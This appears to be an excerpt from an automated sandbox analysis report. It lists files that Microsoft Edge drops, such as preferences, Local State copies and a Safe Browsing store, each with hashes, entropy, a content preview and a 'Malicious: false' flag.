SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bc9dfd48-121e-490d-863d-5ea50afdf922.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.56141383331905
Encrypted:	false
SSDEEP:	768:3zj06HW7R7pLGLPlrW5w+If41v8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPLnxqIcB0:3vPH0HcPlrWa+IfGvu1jaWnxsme05HeW
MD5:	DF3601BF25941F21DF93D91683BA5C17
SHA1:	96C6A9B5CE9C670D288F7AAC2F8E875FE796289B
SHA-256:	B27727148580518895FD1897C0E33754A76896963C4D1646649C987ACBCAC786
SHA-512:	A6D854498A708D9D849FF1FF1CC8AA8B22C88CF59DCD5A848F296252C544DBBC920744DE7841D8447FE386D66AB0E93EF9F3E28FFE293B2CE169187B3C600DDD
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376876796655368","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376876796655368","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f83d2fc9-ceab-4489-a27b-2eb10a7c6fb2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08981346400205
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWwdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn4dkzItSmd6qE7lFoC
MD5:	80D28573E1642145678FAFE349AF0BBF
SHA1:	1055001C561AE6CB2E202E65690A8B766AC5A680
SHA-256:	02EAC57F2700FFB72B6C44D9FE1321D5BF6E72CD4527E97F6FE3A3DF58636ACD
SHA-512:	C2672225286B8F7851EB4DE197B8AA87EB192BA42A573634E6F8242A4338A243B84E38C01D4F3336360F914421472EB89EF848EAFAC368ACD4C092C80617B0F9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3af5c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08981346400205
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWwdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn4dkzItSmd6qE7lFoC
MD5:	80D28573E1642145678FAFE349AF0BBF
SHA1:	1055001C561AE6CB2E202E65690A8B766AC5A680
SHA-256:	02EAC57F2700FFB72B6C44D9FE1321D5BF6E72CD4527E97F6FE3A3DF58636ACD
SHA-512:	C2672225286B8F7851EB4DE197B8AA87EB192BA42A573634E6F8242A4338A243B84E38C01D4F3336360F914421472EB89EF848EAFAC368ACD4C092C80617B0F9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3af6b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08981346400205
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWwdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn4dkzItSmd6qE7lFoC
MD5:	80D28573E1642145678FAFE349AF0BBF
SHA1:	1055001C561AE6CB2E202E65690A8B766AC5A680
SHA-256:	02EAC57F2700FFB72B6C44D9FE1321D5BF6E72CD4527E97F6FE3A3DF58636ACD
SHA-512:	C2672225286B8F7851EB4DE197B8AA87EB192BA42A573634E6F8242A4338A243B84E38C01D4F3336360F914421472EB89EF848EAFAC368ACD4C092C80617B0F9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b0f2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08981346400205
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWwdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn4dkzItSmd6qE7lFoC
MD5:	80D28573E1642145678FAFE349AF0BBF
SHA1:	1055001C561AE6CB2E202E65690A8B766AC5A680
SHA-256:	02EAC57F2700FFB72B6C44D9FE1321D5BF6E72CD4527E97F6FE3A3DF58636ACD
SHA-512:	C2672225286B8F7851EB4DE197B8AA87EB192BA42A573634E6F8242A4338A243B84E38C01D4F3336360F914421472EB89EF848EAFAC368ACD4C092C80617B0F9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d7e3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08981346400205
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWwdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn4dkzItSmd6qE7lFoC
MD5:	80D28573E1642145678FAFE349AF0BBF
SHA1:	1055001C561AE6CB2E202E65690A8B766AC5A680
SHA-256:	02EAC57F2700FFB72B6C44D9FE1321D5BF6E72CD4527E97F6FE3A3DF58636ACD
SHA-512:	C2672225286B8F7851EB4DE197B8AA87EB192BA42A573634E6F8242A4338A243B84E38C01D4F3336360F914421472EB89EF848EAFAC368ACD4C092C80617B0F9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF42651.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08981346400205
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWwdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn4dkzItSmd6qE7lFoC
MD5:	80D28573E1642145678FAFE349AF0BBF
SHA1:	1055001C561AE6CB2E202E65690A8B766AC5A680
SHA-256:	02EAC57F2700FFB72B6C44D9FE1321D5BF6E72CD4527E97F6FE3A3DF58636ACD
SHA-512:	C2672225286B8F7851EB4DE197B8AA87EB192BA42A573634E6F8242A4338A243B84E38C01D4F3336360F914421472EB89EF848EAFAC368ACD4C092C80617B0F9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4c1e5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08981346400205
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWwdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn4dkzItSmd6qE7lFoC
MD5:	80D28573E1642145678FAFE349AF0BBF
SHA1:	1055001C561AE6CB2E202E65690A8B766AC5A680
SHA-256:	02EAC57F2700FFB72B6C44D9FE1321D5BF6E72CD4527E97F6FE3A3DF58636ACD
SHA-512:	C2672225286B8F7851EB4DE197B8AA87EB192BA42A573634E6F8242A4338A243B84E38C01D4F3336360F914421472EB89EF848EAFAC368ACD4C092C80617B0F9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF51ce6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08981346400205
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWwdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn4dkzItSmd6qE7lFoC
MD5:	80D28573E1642145678FAFE349AF0BBF
SHA1:	1055001C561AE6CB2E202E65690A8B766AC5A680
SHA-256:	02EAC57F2700FFB72B6C44D9FE1321D5BF6E72CD4527E97F6FE3A3DF58636ACD
SHA-512:	C2672225286B8F7851EB4DE197B8AA87EB192BA42A573634E6F8242A4338A243B84E38C01D4F3336360F914421472EB89EF848EAFAC368ACD4C092C80617B0F9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2035729
Entropy (8bit):	4.00151395504131
Encrypted:	false
SSDEEP:	49152:3monBfZZRq64Fu4n/jVprgTK4F9dLQdLRyKU4L1DE0/ZSHppay7ZJiIhlBKalaDe:3
MD5:	77CC66A08499E03D870C90CB2493CD63
SHA1:	88379FD28F2F44E2F919D74AC168993C9A51440E
SHA-256:	823033D4C218719D8C315961360894D88152782113D17239D9FE9BEB6B546482
SHA-512:	F0622FB1D2EC6A37E8845B0CD8460D57757A2CE35D5893DCA02AD949BEB7EA10243C951E640A55E55D76720A2A959937B6ECA7F671AC6A135932A2C9324811D5
Malicious:	false
Preview:	.........\| .*.\|....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store_new

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2035729
Entropy (8bit):	4.00151395504131
Encrypted:	false
SSDEEP:	49152:3monBfZZRq64Fu4n/jVprgTK4F9dLQdLRyKU4L1DE0/ZSHppay7ZJiIhlBKalaDe:3
MD5:	77CC66A08499E03D870C90CB2493CD63
SHA1:	88379FD28F2F44E2F919D74AC168993C9A51440E
SHA-256:	823033D4C218719D8C315961360894D88152782113D17239D9FE9BEB6B546482
SHA-512:	F0622FB1D2EC6A37E8845B0CD8460D57757A2CE35D5893DCA02AD949BEB7EA10243C951E640A55E55D76720A2A959937B6ECA7F671AC6A135932A2C9324811D5
Malicious:	false
